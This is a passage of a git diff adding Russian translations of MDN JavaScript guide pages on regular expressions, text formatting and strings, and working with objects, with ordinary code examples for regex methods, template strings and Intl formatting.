+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp/exec" title="en-US/docs/JavaScript/Reference/Global_Objects/RegExp/exec">exec</a></code></td>
+   <td>Метод <code>RegExp,</code> который выполняет поиск совпадения в  строке. Он возвращает массив данных.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp/test" title="en-US/docs/JavaScript/Reference/Global_Objects/RegExp/test">test</a></code></td>
+   <td>Метод <code>RegExp</code>, который тестирует совпадение в строке. Возвращет либо истину либо ложь.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/match" title="en-US/docs/JavaScript/Reference/Global_Objects/String/match">match</a></code></td>
+   <td>Метод <code>String</code>, который выполняет поиск совпадения в строке. Он возвращет массив данных либо null если совпадения отсутствуют.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/search" title="en-US/docs/JavaScript/Reference/Global_Objects/String/search">search</a></code></td>
+   <td>Метод <code>String,</code> который тестирует на совпадение в строке. Он возвращет индекс совпадения, или -1 если совпадений не будет найдено.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global_Objects/String/replace">replace</a></code></td>
+   <td>Метод <code>String</code>, который выполняет поиск совпадения в строке, и заменяет совпавшую подстроку другой подстрокой переданной как аргумент в этот метод.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="en-US/docs/JavaScript/Reference/Global_Objects/String/split">split</a></code></td>
+   <td>Метод <code>String,</code> который использует регулярное выражение или фиксированую строку чтобы разбить строку на массив подстрок.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Чтобы просто узнать есть ли в строке что либо соотвествующее шаблону, воспользуйтесь методами <code>test</code> или <code>search</code>; а чтобы получить больше информации пользуйтесь методами <code>exec</code> или <code>match</code> (хотя эти метода работают медленее). Если вы пользуютесь <code>exec</code> или <code>match</code> и если совпадения есть, эти методы вернут массив и обновленные свойства объекта ассоцированного регулярного выражения а также предопределенного объекта <code>RegExp </code>регулярного выражения. Если совпадений нет, метод <code>exec</code> вернет <code>null</code> (который сконвертируется в  <code>false</code>).</p>
+
+<p>В след. примере, скрипт использует метод <code>exec</code> чтобы найти совпадения в строке.</p>
+
+<pre class="brush: js notranslate">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>Если вам не нужен доступ к свойствам регулярного выражения, то альтернативный способ получить <code>myArray</code> можно так:</p>
+
+<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+</pre>
+
+<p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведен ниже:</p>
+
+<pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g");
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>С помощью этих скриптов, поиск совпадения завершается и возвращает массив и обновленные ствойства показанные  в след. таблице.</p>
+
+<table class="fullwidth-table">
+ <caption>Table 4.3 Результаты выполнения регулярного выражения</caption>
+ <thead>
+  <tr>
+   <th scope="col">Объект</th>
+   <th scope="col">Свойство или индекс</th>
+   <th scope="col">Описание</th>
+   <th scope="col">В этом примере.</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>myArray</code></td>
+   <td></td>
+   <td>Совпавшая строка и все запомненные подстроки.</td>
+   <td><code>["dbbd", "bb"]</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Индекс совпавшей подстроки (индекс начинается с нуля).</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>Исходная строка.</td>
+   <td><code>"cdbbdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Последние совпавшие символы.</td>
+   <td><code>"dbbd"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>myRe</code></td>
+   <td><code>lastIndex</code></td>
+   <td>Индекс с которого начнется след. поиск совпадения. (Это свойство определяется только если регулярное выражение использует параметр g, описанный в {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>Текст шаблона. Обновляется в момент создания регулярного выражения, а не во время выполнения.</td>
+   <td><code>"d(b+)d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Как показано во втором варианте этого примера, вы можете использовать регулярное выражение, созданное при помощи инициализатора объекта, без присваивания его переменной. Таким образом, если вы используете данную форму записи без присваивания переменной, то в процессе дальнейшего использования вы не можете получить доступ к свойствам данного регулярного выражения. Например, у вас есть следующий скрипт:</p>
+
+<pre class="brush: js notranslate">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + myRe.lastIndex);
+</pre>
+
+<p>Этот скрипт выведет:</p>
+
+<pre class="notranslate">The value of lastIndex is 5
+</pre>
+
+<p>Однако, если у вас есть следующий скрипт:</p>
+
+<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);
+</pre>
+
+<p>Он выведет:</p>
+
+<pre class="notranslate">The value of lastIndex is 0
+</pre>
+
+<div class="syntaxbox">Совпадения <code>/d(b+)d/g</code> в двух случаях являются разными объектами регулярного выражения и, следовательно, имеют различные значения для свойства <code>lastIndex</code>. Если вам необходим доступ к свойствам объекта, созданного при помощи инициализатора, то вы должны сначала присвоить его переменной.</div>
+
+<div class="syntaxbox"></div>
+
+<h3 id="Использование_скобочных_выражений_для_нахождения_подстрок">Использование скобочных выражений для нахождения подстрок</h3>
+
+<p>Использование скобок в шаблоне регулярного выражения повлечет "запоминание" совпавшей подстроки. Для примера, <code>/a(b)c/</code> вызовет совпадение 'abc' и запомнит 'b'. Чтобы получить совпадения скобочного выражения используйте <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p>
+
+<p>Число возможных скобочных подстрок неограничено. Возвращаемый массив содержит все полученные совпадения, удовлетворяющие выражению в скобках. Следующий пример показывает как использовать скобочные выражения для нахождения подстрок.</p>
+
+<p>Следующий скрипт использует метод <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global Objects/String/replace">replace()</a>,</code> чтобы поменять местами слова (символы) в строке. Для замены текста скрипт использует обозначения  <code>$1</code> и <code>$2</code> для обозначения первого и второго совпадения скобочного выражения.</p>
+
+<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/;
+var str = "John Smith";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+</pre>
+
+<p>Выведет "Smith, John".</p>
+
+<h3 id="Расширенный_поиск_с_флагами">Расширенный поиск с флагами</h3>
+
+<p>Регулярные выражения имеют четыре опциональных флага, которые делают возможным глобальный и регистронезависимый поиск. Флаги могут использоваться самостоятельно или вместе в любом порядке, а также могут являтся частью регулярного выражения.</p>
+
+<table style="line-height: 1.5;">
+ <caption>Флаги регулярных выражений</caption>
+ <thead>
+  <tr>
+   <th scope="col">Flag</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Глобальный поиск.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Регистронезависимый поиск.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Многострочный поиск.</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>Выполняет поиск начиная с символа, который находится на позиции свойства lastindex текущего регулярного выражения.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Чтобы использовать флаги в шаблоне регулярного выражения используйте следующий синтаксис:</p>
+
+<pre class="brush: js notranslate">var re = /pattern/flags;
+</pre>
+
+<p>или</p>
+
+<pre class="brush: js notranslate">var re = new RegExp("pattern", "flags");
+</pre>
+
+<p>Обратите внимание, что флаги являются неотъемлемой частью регулярного выражения. Флаги не могут быть добавлены или удалены позднее.</p>
+
+<p>Для примера, <code>re = /\w+\s/g</code> создаёт регулярное выражение, которое ищет один или более символов, после котрых следует пробел и ищет данное совпадение на протяжении всей строки.</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+var str = "fee fi fo fum";
+var myArray = str.match(re);
+console.log(myArray);
+</pre>
+
+<p>Выведет  ["fee ", "fi ", "fo "]. В этом примере вы бы могли заменить строку:</p>
+
+<pre class="brush: js notranslate">var re = /\w+\s/g;
+</pre>
+
+<p>на следующую:</p>
+
+<pre class="brush: js notranslate">var re = new RegExp("\\w+\\s", "g");
+</pre>
+
+<p>и получить тот же результат.</p>
+
+<p>Флаг <code>m</code> используется, чтобы входная строка рассматривалась как многострочная. Если флаг <code>m</code> используется, то <code>^</code> и <code>$</code> вызовет совпадение в начале или конце любой строки в строке ввода вместо начала или конца вводимой строки целиком.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>След. примеры показывают использование регулярных выражений.</p>
+
+<h3 id="Изменение_порядка_в_Исходной_Строке">Изменение порядка в Исходной Строке</h3>
+
+<p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идет первым) разделенные пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имен (фамилия станет первой) и сортируется список.</p>
+
+<pre class="brush: js notranslate">// The name string contains multiple spaces and tabs,
+// and may have multiple spaces between first and last names.
+var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Original String\n", names + "\n"];
+
+// Prepare two regular expression patterns and array storage.
+// Split the string into array elements.
+
+// pattern: possible white space then semicolon then possible white space
+var pattern = /\s*;\s*/;
+
+// Break the string into pieces separated by the pattern above and
+// store the pieces in an array called nameList
+var nameList = names.split(pattern);
+
+// new pattern: one or more characters then spaces then characters.
+// Use parentheses to "memorize" portions of the pattern.
+// The memorized portions are referred to later.
+pattern = /(\w+)\s+(\w+)/;
+
+// New array for holding names being processed.
+var bySurnameList = [];
+
+// Display the name array and populate the new array
+// with comma-separated names, last first.
+//
+// The replace method removes anything matching the pattern
+// and replaces it with the memorized string—second memorized portion
+// followed by comma space followed by first memorized portion.
+//
+// The variables $1 and $2 refer to the portions
+// memorized while matching the pattern.
+
+output.push("---------- After Split by Regular Expression");
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++){
+  output.push(nameList[i]);
+  bySurnameList[i] = nameList[i].replace(pattern, "$2, $1");
+}
+
+// Display the new array.
+output.push("---------- Names Reversed");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+// Sort by last name, then display the sorted array.
+bySurnameList.sort();
+output.push("---------- Sorted");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+output.push("---------- End");
+
+console.log(output.join("\n"));
+</pre>
+
+<h3 id="Использование_спецсимволов_для_проверки_входных_данных">Использование спецсимволов для проверки входных данных</h3>
+
+<p>В след. примере, ожидается что пользователь введет телефонный номер и требуется проверить правильность символов набранных пользователем. Когда пользователь нажмет кнопку "Check", скрипт проверит правильность введеного номера. Если номер правильный (совпадает с символами определенными в регулярном выражении), то скрипт покажет сообщение благодарности для пользователя и подтвердит номер. Если нет, то скрипт проинформирует пользователя, что телефонный номер неправильный.</p>
+
+<p>Внутри незахватывающих скобок <code>(?:, регуляное выражение ищет три цифры \d{3} ИЛИ |</code>  открывающую скобку <code>\(, затем три цифры \d{3}</code>, затем закрывающую скобку <code>\), </code>(закрывающая незахватывающая скобка <code>)</code>), затем тире, слэш, или десятичная точка, и когда это выражение найдено, запоминает символ <code>([-\/\.])</code>,  следующие за ним и запомненные три цифры <code>\d{3}</code>, следующее соответствие тире, слэша или десятичной точки <code>\1</code>, и следующие четыре цифры <code>\d{4}.</code></p>
+
+<p>Регулярное выражение ищет сначала 0 или одну открывающую скобку <code>\(?</code>, <code>затем три цифры \d{3}</code>, затем 0 или одну закрывающую скобку <code>\)?</code>, потом одно тире, слеш или точка и когда найдет это, запомнит символ<code>([-\/\.])</code>, след. три цифры<code> \d{3}</code>, followed by the remembered match of a dash, forward slash, or decimal point <code>\1</code>, followed by four digits <code>\d{4}</code>.</p>
+
+<p>Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". </p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/;
+      function testInfo(phoneInput){
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(RegExp.input + " isn't a phone number with area code!");
+        else
+          window.alert("Thanks, your phone number is " + OK[0]);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Enter your phone number (with area code) and then click "Check".
+        &lt;br&gt;The expected format is like ###-###-####.&lt;/p&gt;
+    &lt;form action="#"&gt;
+      &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Check&lt;/button&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="script notranslate">autoPreviousNext("JSGChapters");
+</pre>
diff --git a/files/ru/web/javascript/guide/text_formatting/index.html b/files/ru/web/javascript/guide/text_formatting/index.html
new file mode 100644
index 0000000000..4316e2402a
--- /dev/null
+++ b/files/ru/web/javascript/guide/text_formatting/index.html
@@ -0,0 +1,281 @@
+---
+title: Форматирование текста
+slug: Web/JavaScript/Guide/Text_formatting
+tags:
+  - JavaScript
+  - Руководство
+translation_of: Web/JavaScript/Guide/Text_formatting
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
+
+<p class="summary">В этой главе приводится порядок работы со строками и текстом в JavaScript.</p>
+
+<h2 id="Строки">Строки</h2>
+
+<p>Строки используются для представления текстовых данных. Каждая строка - это набор "элементов", а каждый элемент - 16 битное беззнаковое целое значение. Элементы имеют определённые позиции. Так первый элемент имеет индекс 0, следущий - 1, и так далее. Длина строки - это количество элементов в ней. Вы можете создать строки, используя строковые литералы или объекты класса String.</p>
+
+<h3 id="Строковые_литералы">Строковые литералы</h3>
+
+<p>Вы можете создавать простые строки, используя либо одинарные, либо двойные кавычки:</p>
+
+<pre class="brush: js">'foo'
+"bar"</pre>
+
+<p>Начиная со стандарта ES6 (ES-2015) для простых и сложных строк можно использовать обратные косые кавычки, а также, вставлять значения:</p>
+
+<pre>const name = "Alex";
+const str =
+  `Привет, ${name},
+   как дела?`;
+
+console.log(str);
+// Привет, Alex,
+// как дела?
+</pre>
+
+<p>Подробнее про использование обратных косых кавычек (` `), <a href="/ru/docs/Web/JavaScript/Guide/Text_formatting#Многострочные_шаблонные_строки">читайте ниже</a>.</p>
+
+<p>Строки с более богатым содержимым <span><span class="article-text">можно создать с помощью ESC-последовательностей</span></span><span><span class="comment">(комбинация символов, обычно используемая для задания неотображаемых символов и символов, имеющих специальное значение)</span></span>:</p>
+
+<h4 id="Шестнадцатиричные_экранированные_последовательности">Шестнадцатиричные экранированные последовательности</h4>
+
+<p>Число после \x трактуется как <a href="https://en.wikipedia.org/wiki/Hexadecimal">шестнадцатиричное.</a></p>
+
+<pre class="brush: js">'\xA9' // "©"
+</pre>
+
+<h4 id="Unicode_экранированные_последовательности">Unicode экранированные последовательности</h4>
+
+<p>Экранированные последовательности Unicode требуют по меньшей мере 4 символа после <code>\u</code>.</p>
+
+<pre class="brush: js">'\u00A9' // "©"</pre>
+
+<h4 id="Экранирование_элементов_кода_Unicode">Экранирование элементов кода Unicode</h4>
+
+<p>Нововведение ECMAScript 6, которое позволяет экранировать каждый Unicode символ, используя шестнадцатиричные значения (вплоть до <code>0x10FFFF</code>). С простым экранированием Unicode обычно требуется писать связанные друг с другом части по - отдельности для получения того же результата.</p>
+
+<p>Смотрите также {{jsxref("String.fromCodePoint()")}} или {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js">'\u{2F804}'
+
+// То же самое с простым Unicode
+'\uD87E\uDC04'</pre>
+
+<h3 id="Объекты_String">Объекты String</h3>
+
+<p>Объект <code>{{jsxref("String")}}</code> - это обёртка вокруг примитивного строкового типа данных.</p>
+
+<pre class="brush: js">var s = new String("foo"); // Создание объекта
+console.log(s); // Отобразится: { '0': 'f', '1': 'o', '2': 'o'}
+typeof s; // Вернет 'object'
+</pre>
+
+<p>Вы можете вызвать любой метод объекта класса <code>String</code> на строковом литерале - JavaScript сам преобразует строковый литерал во временный объект <code>String</code>, вызовет требуемый метод и затем уничтожит этот временный объект. Со строковыми литералами вы также можете использовать и <code>String.length</code> свойство.</p>
+
+<p>Следует использовать строковые литералы до тех пор, пока вам действительно не обойтись без <code>String</code> объекта, потому что, порой, объект String может вести себя неожиданно (не так, как строковый литерал). Например:</p>
+
+<pre class="brush: js">var s1 = "2 + 2"; // Создание строкового литерала
+var s2 = new String("2 + 2"); // Создание String объекта
+eval(s1); // Вернет 4
+eval(s2); // Вернет строку "2 + 2"</pre>
+
+<p>Объект <code>String</code> имеет свойство <code>length</code>, которое обозначает количество символов в строке. Например, в следующем коде x получит значение 13 потому, что "Hello, World!" содержит 13 символов, каждый из которых представлен одним кодом UTF-16. Вы можете обратиться к каждому коду с помощью квадратных скобок. Вы не можете изменять отдельные символы строки, т.к. строки это массиво-подобные неизменяемые объекты:</p>
+
+<pre class="brush: js">var mystring = "Hello, World!";
+var x = mystring.length;
+mystring[0] = 'L'; // Ничего не произойдет, т.к. строки неизменяемые
+mystring[0]; // Вернет: "H"
+</pre>
+
+<p>Объект <code>String</code> имеет множество методов, в том числе и те, которые возвращают преобразованную исходную строку (методы <code>substring</code>, <code>toUpperCase</code> и другие).</p>
+
+<p>В таблице ниже представлены методы String объекта.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="Методы_String">Методы <code>String</code></h4>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}</td>
+   <td>Возвращает символ или символьный код в указанной позиции в строке.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}</td>
+   <td>Возвращает первую (indexOf) или последнюю (lastIndexOf) позицию указанной подстроки в строке. Если данная подстрока не найдена, то возвращает -1.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}</td>
+   <td>Проверяет, начинается/кончается/содержит ли строка указанную подстроку.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.concat", "concat")}}</td>
+   <td>Объединяет две строки и возвращает результат в качестве новой строки.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td>
+   <td>Создает строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>Разбивает строку на подстроки, результат возвращает в виде массива строк.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.slice", "slice")}}</td>
+   <td>Извлекает часть строки и возвращает её в качестве новой строки.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}</td>
+   <td>
+    <p>Возвращет указанную часть строки по начальному и конечному индексам, либо по начальному индексу и длине.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}</td>
+   <td>Работа с регулярными выражениями.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.toLowerCase", "toLowerCase")}}, {{jsxref("String.toUpperCase", "toUpperCase")}}</td>
+   <td>
+    <p>Возвращает строку полностью в нижнем (toLowerCase) или верхнем (toUpperCase) регистре.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.normalize", "normalize")}}</td>
+   <td>Возвращает нормализованную Unicode форму строки - значения объекта String, на котором вызывается.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.repeat", "repeat")}}</td>
+   <td>
+    <p>Возвращает строку, которая представляет собой повторение исходной строки указанное количество раз.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.trim", "trim")}}</td>
+   <td>
+    <p>Убирает пробелы в начале и в конце строки, результат возвращается в качестве новой строки.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Многострочные_шаблонные_строки">Многострочные шаблонные строки</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Шаблонные строки</a> представляют собой строковые литералы, которые могут содержать внутри себя встроенные выражения. С ними вы можете использовать многострочные строковые литералы и интерполяцию строк.</p>
+
+<p>Такого типа строки заключаются в пару обратных штрихов (` `) (<a class="external external-icon" href="https://en.wikipedia.org/wiki/Grave_accent">grave accent</a>) вместо двойных или одинарных кавычек. Шаблонные строки могут содержать заполнители, которые выделяются знаком доллара и фигурными скобками (<code>${выражение}</code>).</p>
+
+<h4 id="Многострочная_запись">Многострочная запись</h4>
+
+<p>Каждая новая горизонтальная линия символов, вставленная в исходный код, является частью шаблонной строки. Используя обычные строки, вам бы потребовалось использовать следующий синтаксис для многострочной записи:</p>
+
+<pre class="brush: js">console.log("string text line 1\n\
+string text line 2");
+// "string text line 1
+// string text line 2"</pre>
+
+<p>Того же результата можно добиться и другим способом (используя синтаксис шаблонных строк):</p>
+
+<pre class="brush: js">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h4 id="Встроенные_выражения">Встроенные выражения</h4>
+
+<p>Для того, чтобы добавить выражения внутрь обычных строк, вы бы использовали следующий синтаксис:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log("Fifteen is " + (a + b) + " and\nnot " + (2 * a + b) + ".");
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>Теперь же, используя шаблонные строки, вы можете сделать это так:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>Для более подробной информации смотри  <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">Шаблонные строки</a> в <a href="/en-US/docs/Web/JavaScript/Reference">справочнике по JavaScript</a>.</p>
+
+<h2 id="Интернационализация">Интернационализация</h2>
+
+<p>Объект {{jsxref("Intl")}} представляет собой пространство имен для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами <code>объекта Intl</code>.</p>
+
+<h3 id="Форматирование_времени_и_даты">Форматирование времени и даты</h3>
+
+<p>Объект {{jsxref("DateTimeFormat")}} полезен для форматирования времени и даты. В примере ниже дата форматируется так, как это принято в США (результат отличен для разных временных зон).</p>
+
+<pre class="brush: js">var msPerDay = 24 * 60 * 60 * 1000;
+
+// July 17, 2014 00:00:00 UTC.
+var july172014 = new Date(msPerDay * (44 * 365 + 11 + 197));
+
+var options = { year: "2-digit", month: "2-digit", day: "2-digit",
+                hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
+var americanDateTime = new Intl.DateTimeFormat("en-US", options).format;
+
+console.log(americanDateTime(july172014)); // 07/16/14, 5:00 PM PDT
+</pre>
+
+<h3 id="Форматирование_чисел">Форматирование чисел</h3>
+
+<p>Объект {{jsxref("NumberFormat")}} полезен при форматировании чисел, например, валют.</p>
+
+<pre class="brush: js">var gasPrice = new Intl.NumberFormat("en-US",
+                        { style: "currency", currency: "USD",
+                          minimumFractionDigits: 3 });
+
+console.log(gasPrice.format(5.259)); // $5.259
+
+var hanDecimalRMBInChina = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
+                        { style: "currency", currency: "CNY" });
+
+console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五
+</pre>
+
+<h3 id="Сравнение">Сравнение</h3>
+
+<p>Объект {{jsxref("Collator")}} полезен для сравнения и сортировки строк.</p>
+
+<p>Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь.<em> </em>Сортировка по типу телефонной книги подчеркивает звуки.</p>
+
+<pre class="brush: js">var names = ["Hochberg", "Hönigswald", "Holzman"];
+
+var germanPhonebook = new Intl.Collator("de-DE-u-co-phonebk");
+
+// as if sorting ["Hochberg", "Hoenigswald", "Holzman"]:
+console.log(names.sort(germanPhonebook.compare).join(", "));
+// logs "Hochberg, Hönigswald, Holzman"
+</pre>
+
+<p>Примером по сортировке для словаря слов на немецком языке служит следующий код:</p>
+
+<pre class="brush: js">var germanDictionary = new Intl.Collator("de-DE-u-co-dict");
+
+// as if sorting ["Hochberg", "Honigswald", "Holzman"]:
+console.log(names.sort(germanDictionary.compare).join(", "));
+// logs "Hochberg, Holzman, Hönigswald"
+</pre>
+
+<p>Для более подробной информации об {{jsxref("Intl")}} API смотри  <a href="https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/">Introducing the JavaScript Internationalization API</a>.</p>
+
+<h2 id="Регулярные_выражения">Регулярные выражения</h2>
+
+<p>Регулярные выражения - это шаблоны, которые используются для описания некоторого множества строк . Это очень мощный и в некоторый степени непростой механизм, и поэтому ему посвящена отдельная глава. Узнать больше о регулярных выражениях можно здесь:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Регулярные выражения JavaScript</a> в руководстве по JavaScript.</li>
+ <li>{{jsxref("RegExp")}} ссылка в документации.</li>
+</ul>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html
new file mode 100644
index 0000000000..34da02e599
--- /dev/null
+++ b/files/ru/web/javascript/guide/working_with_objects/index.html
@@ -0,0 +1,492 @@
+---
+title: Работа с объектами
+slug: Web/JavaScript/Guide/Working_with_Objects
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Keyed_collections", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</p>
+
+<p class="summary">JavaScript спроектирован на основе простой парадигмы. В основе концепции лежат простые объекты. Объект <span style="line-height: 1.5;">—</span> это набор свойств, и каждое свойство состоит из имени и значения, ассоциированного с этим именем. Значением свойства может быть функция, которую можно назвать <em>методом</em> объекта. В дополнение к встроенным в браузер объектам, вы можете определить свои собственные объекты. Эта глава описывает как пользоваться объектами, свойствами, функциями и методами, а также как создавать свои собственные объекты.</p>
+
+<h2 id="Обзор_объектов">Обзор объектов</h2>
+
+<p>Объекты в JavaScript, как и во многих других языках программирования, похожи на объекты реальной жизни. Концепцию объектов JavaScript легче понять, проводя паралелли с реально существующими в жизни объектами.</p>
+
+<p>В JavaScript объект — это самостоятельная единица, имеющая свойства и определенный тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.</p>
+
+<h2 id="Объекты_и_свойства">Объекты и свойства</h2>
+
+<p>В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закрепленную за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:</p>
+
+<div style="margin-right: 270px;">
+<pre class="brush: js">objectName.propertyName
+</pre>
+</div>
+
+<p>Как и все переменные JavaScript, имя объекта (которое тоже может быть переменной) и имя свойства являются чуствительными к регистру. Вы можете определить свойство указав его значение. Например, давайте создадим объект <code>myCar</code> и определим его свойства <code>make</code>, <code>model</code>, и <code>year</code> следующим образом:</p>
+
+<pre class="brush: js">var myCar = new Object();
+myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+
+<p>Неопределенные свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">myCar<span class="punctuation token">.</span>color<span class="punctuation token">;</span> <span class="comment token">// undefined</span></code></pre>
+
